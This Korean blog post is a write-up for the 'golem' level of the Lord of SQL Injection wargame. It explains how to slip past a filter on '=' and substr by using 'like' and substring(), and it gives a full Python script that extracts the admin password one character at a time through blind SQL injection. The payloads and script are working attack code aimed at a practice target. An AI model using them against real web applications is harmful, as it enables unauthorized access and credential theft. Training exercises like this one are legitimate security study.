이번에는 substr(= 가 필터링에 추가가 되었습니다.

형식을 보아하니 앞선 문제처럼 Blind SQL Injection을 해서 문제를 풀어야 할 것으로 보입니다.



우선 = 필터링을 우회하기 위해서 like를 사용할 수 있습니다.



필터링을 우회할 수 있으니 Python 코드를 통해서 공격 수행을 해봅니다.

id='admin' 대신에 id like 'admin'을 하여 우회를 시킬 수 있습니다.


길이를 구하고 substr()과 동일한 기능을 하는 substring()으로 문자열을 나눠서 찾아봅니다.

그 외에 left, mid, right를 이용할 수도 있습니다.


range(33,127)로하면 '%'에서 막히게 됩니다..

그래서 앞선 문제들의 답이 숫자와 영어로 이루어 져있다는 것을 알았으니 48로 시작하면 '0'부터 체크하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "pw=' || id like 'admin' %26%26 length(pw) like "+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "pw=' || id like 'admin' %26%26 substring(pw,"+str(i)+",1) like '"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



소문자로 입력하셔야 제대로 인증이 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06

+ Recent posts